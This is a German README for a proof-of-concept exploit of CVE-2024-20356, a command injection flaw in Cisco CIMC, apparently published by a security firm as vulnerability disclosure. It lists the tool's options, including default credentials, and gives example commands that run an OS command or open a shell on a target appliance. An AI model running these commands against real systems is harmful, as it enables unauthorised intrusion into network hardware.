nettitude/cve-2024-20356Dies ist ein Proof of Concept für CVE-2024-20356, eine Befehlsinjektionsschwachstelle in Ciscos CIMC.
Dies ist ein Proof-of-Concept für CVE-2024-20356, eine Command Injection-Schwachstelle in Ciscos CIMC.
Vollständige technische Details finden Sie unter https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
Usage: CVE-2024-20356.py [-h] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-c CMD] [-v]
options:
-h, --help Zeigt diese Hilfemeldung an und beendet das Programm
-t HOST, --host HOST Ziel-Hostname oder IP-Adresse (Format 10.0.0.1 oder 10.0.0.2:1337)
-u USERNAME, --username USERNAME
Benutzername (Standard: admin)
-p PASSWORD, --password PASSWORD
Passwort (Standard: cisco)
-a ACTION, --action ACTION
Aktion: test, cmd, shell, dance (Standard: test)
-c CMD, --cmd CMD Auszuführender OS-Befehl (Standard: KEINER)
-v, --verbose Zeigt mehr Informationen über cimc an
Beispielbefehle:
CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -v
CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -c 'id'
CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -a shell
CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -a dance
Verwenden Sie das Argument --help für vollständige Nutzungsanweisungen.
Dieser Proof-of-Concept dient Demonstrationszwecken und sollte nicht für illegale Aktivitäten verwendet werden. LRQA Nettitude übernimmt keine Verantwortung für Schäden, die durch die Nutzung oder den Missbrauch dieses Codes entstehen.